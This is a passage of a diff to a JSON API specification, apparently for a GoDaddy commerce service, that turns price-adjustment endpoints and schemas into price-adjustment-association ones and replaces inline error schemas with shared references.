+ ], + "title": "Metafield", + "type": "object" + }, + "type": "array" }, - "amountType": { - "type": "string", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "name": { + "description": "the name for this price adjustment association", + "type": "string" + }, + "priceAdjustmentId": { + "description": "the id of the price adjustment that this price adjustment association refers to", + "format": "uuid", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AmountType", - "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", "enum": [ - "AMOUNT", - "PERCENTAGE" - ] - }, - "amount": { - "description": "the currency code & amount of currency that makes up the amount discounted or charged for this price adjustment. Present if amountType = AMOUNT, else not present", - "$id": "https://godaddy.com/schemas/common/simple-money.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Simple Money", - "properties": { - "currencyCode": { - "$id": "https://godaddy.com/schemas/common/currency-code.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Currency Code", - "description": "A three-character ISO-4217 currency code.", - "minLength": 3, - "maxLength": 3 - }, - "value": { - "type": "integer", - "format": "int64", - "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217)." - } - }, - "required": [ - "currencyCode", - "value" - ] + "ADJUSTMENT" + ], + "title": "PriceAdjustmentAssociationType", + "type": "string" }, - "ratePercentage": { - "description": "the percentage that makes up the amount discounted or charged for this price adjustment. Present id amountType = PERCENTAGE, else not present", - "$id": "https://godaddy.com/schemas/common/percentage.json", + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$" + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } - } + }, + "title": "PriceAdjustmentAssociation", + "type": "object" } }, "responses": { + "403": { + "description": "Authentication Client Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Unauthorized Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustment", - "type": "object", - "description": "Price Adjustment Entity; contains all the information about a price adjustment", + "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" - }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", - "readOnly": true, - "format": "uuid" - }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "name": { - "type": "string", - "description": "The user friendly name of the price adjustment", - "example": "happy hour discount" - }, - "description": { - "type": "string", - "description": "The user friendly description of the price adjustment", - "example": "15% off of drinks, 10% off of food" - }, - "type": { - "description": "The type of the price adjustment", - "example": "DISCOUNT", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentType", - "type": "string", - "enum": [ - "DISCOUNT", - "FEE" - ] - }, - "enabled": { - "type": "boolean", - "description": "flag for status of the price adjustment", - "example": true - }, - "appliedBeforeTax": { - "type": "boolean", - "description": "flag for if the price adjustment should be applied pre- or post- tax", - "example": true - }, - "code": { - "type": "string", - "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", - "example": "holidays2023" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalIds": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" + }, + "id": { + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "items": { + "description": "items this price adjustment association apply to", + "items": { + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "type", + "id" + ], + "type": "object" }, - "description": "external ids for this price adjustment" + "type": "array" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" } - } - } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" }, - "amountType": { - "type": "string", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AmountType", - "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", - "enum": [ - "AMOUNT", - "PERCENTAGE" - ] + "name": { + "description": "the name for this price adjustment association", + "type": "string" }, - "amount": { - "description": "the currency code & amount of currency that makes up the amount discounted or charged for this price adjustment. Present if amountType = AMOUNT, else not present", - "$id": "https://godaddy.com/schemas/common/simple-money.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Simple Money", - "properties": { - "currencyCode": { - "$id": "https://godaddy.com/schemas/common/currency-code.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Currency Code", - "description": "A three-character ISO-4217 currency code.", - "minLength": 3, - "maxLength": 3 - }, - "value": { - "type": "integer", - "format": "int64", - "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217)." - } - }, - "required": [ - "currencyCode", - "value" - ] - }, - "ratePercentage": { - "description": "the percentage that makes up the amount discounted or charged for this price adjustment. Present id amountType = PERCENTAGE, else not present", - "$id": "https://godaddy.com/schemas/common/percentage.json", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$" - } - } - } - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "priceAdjustmentId": { + "description": "the id of the price adjustment that this price adjustment association refers to", + "format": "uuid", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "403": { - "description": "Authentication Client Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "404": { - "description": "Resource not found", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", + "enum": [ + "ADJUSTMENT" + ], + "title": "PriceAdjustmentAssociationType", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, - "required": [ - "code", - "message" - ] + "title": "PriceAdjustmentAssociation", + "type": "object" } }, "422": { "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "500": { - "description": "Internal server error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment:create" + "commerce.price-adjustment-association:create" ] }, { - "operationId": "findPriceAdjustment", + "operationId": "findPriceAdjustmentAssociation", "method": "GET", - "path": "/commerce/stores/{storeId}/price-adjustments/{adjustmentId}", - "summary": "Get a price adjustment", - "description": "Get a single price adjustment by storeId and adjustmentId", + "path": "/commerce/stores/{storeId}/price-adjustment-associations/{associationId}", + "summary": "Get a price adjustment association", + "description": "Get a price adjustment association", "parameters": [ { "name": "storeId", @@ -841,326 +560,209 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } }, { - "name": "adjustmentId", + "name": "associationId", "in": "path", "required": true, - "description": "Price Adjustment ID", + "description": "Price Adjustment Association ID", "schema": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], "responses": { + "401": { + "description": "Unauthorized Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustment", - "type": "object", - "description": "Price Adjustment Entity; contains all the information about a price adjustment", + "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" - }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", - "readOnly": true, - "format": "uuid" - }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "name": { - "type": "string", - "description": "The user friendly name of the price adjustment", - "example": "happy hour discount" - }, - "description": { - "type": "string", - "description": "The user friendly description of the price adjustment", - "example": "15% off of drinks, 10% off of food" - }, - "type": { - "description": "The type of the price adjustment", - "example": "DISCOUNT", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentType", - "type": "string", - "enum": [ - "DISCOUNT", - "FEE" - ] - }, - "enabled": { - "type": "boolean", - "description": "flag for status of the price adjustment", - "example": true - }, - "appliedBeforeTax": { - "type": "boolean", - "description": "flag for if the price adjustment should be applied pre- or post- tax", - "example": true - }, - "code": { - "type": "string", - "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", - "example": "holidays2023" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalIds": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" + }, + "id": { + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "items": { + "description": "items this price adjustment association apply to", + "items": { + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "type", + "id" + ], + "type": "object" }, - "description": "external ids for this price adjustment" + "type": "array" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" } - } - } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" }, - "amountType": { - "type": "string", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "name": { + "description": "the name for this price adjustment association", + "type": "string" + }, + "priceAdjustmentId": { + "description": "the id of the price adjustment that this price adjustment association refers to", + "format": "uuid", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AmountType", - "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", "enum": [ - "AMOUNT", - "PERCENTAGE" - ] - }, - "amount": { - "description": "the currency code & amount of currency that makes up the amount discounted or charged for this price adjustment. Present if amountType = AMOUNT, else not present", - "$id": "https://godaddy.com/schemas/common/simple-money.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Simple Money", - "properties": { - "currencyCode": { - "$id": "https://godaddy.com/schemas/common/currency-code.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Currency Code", - "description": "A three-character ISO-4217 currency code.", - "minLength": 3, - "maxLength": 3 - }, - "value": { - "type": "integer", - "format": "int64", - "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217)." - } - }, - "required": [ - "currencyCode", - "value" - ] + "ADJUSTMENT" + ], + "title": "PriceAdjustmentAssociationType", + "type": "string" }, - "ratePercentage": { - "description": "the percentage that makes up the amount discounted or charged for this price adjustment. Present id amountType = PERCENTAGE, else not present", - "$id": "https://godaddy.com/schemas/common/percentage.json", + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$" + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } - } + }, + "title": "PriceAdjustmentAssociation", + "type": "object" } }, - "401": { - "description": "Unauthorized Error", + "403": { + "description": "Authentication Client Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, - "403": { - "description": "Authentication Client Error", + "422": { + "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, "404": { "description": "Resource not found", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "422": { - "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, "500": { "description": "Internal server error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment:read" + "commerce.price-adjustment-association:read" ] }, { - "operationId": "updatePriceAdjustment", + "operationId": "updatePriceAdjustmentAssociation", "method": "PATCH", - "path": "/commerce/stores/{storeId}/price-adjustments/{adjustmentId}", - "summary": "Update a price adjustment", - "description": "Update a price adjustment", + "path": "/commerce/stores/{storeId}/price-adjustment-associations/{associationId}", + "summary": "Update a price adjustment association", + "description": "Update a price adjustment association", "parameters": [ { "name": "storeId", @@ -1168,22 +770,22 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } }, { - "name": "adjustmentId", + "name": "associationId", "in": "path", "required": true, - "description": "Price Adjustment ID", + "description": "Price Adjustment Association ID", "schema": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], @@ -1191,493 +793,329 @@ "required": true, "contentType": "application/json", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustment", - "type": "object", - "description": "Price Adjustment Entity; contains all the information about a price adjustment", + "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" - }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", - "readOnly": true, - "format": "uuid" - }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "name": { - "type": "string", - "description": "The user friendly name of the price adjustment", - "example": "happy hour discount" - }, - "description": { - "type": "string", - "description": "The user friendly description of the price adjustment", - "example": "15% off of drinks, 10% off of food" - }, - "type": { - "description": "The type of the price adjustment", - "example": "DISCOUNT", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentType", - "type": "string", - "enum": [ - "DISCOUNT", - "FEE" - ] - }, - "enabled": { - "type": "boolean", - "description": "flag for status of the price adjustment", - "example": true - }, - "appliedBeforeTax": { - "type": "boolean", - "description": "flag for if the price adjustment should be applied pre- or post- tax", - "example": true - }, - "code": { - "type": "string", - "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", - "example": "holidays2023" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalIds": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" }, - "description": "external ids for this price adjustment" + "type": "array" + }, + "id": { + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "items": { + "description": "items this price adjustment association apply to", + "items": { + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "type", + "id" + ], + "type": "object" + }, + "type": "array" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" } - } - } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" }, - "amountType": { - "type": "string", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "name": { + "description": "the name for this price adjustment association", + "type": "string" + }, + "priceAdjustmentId": { + "description": "the id of the price adjustment that this price adjustment association refers to", + "format": "uuid", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AmountType", - "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property 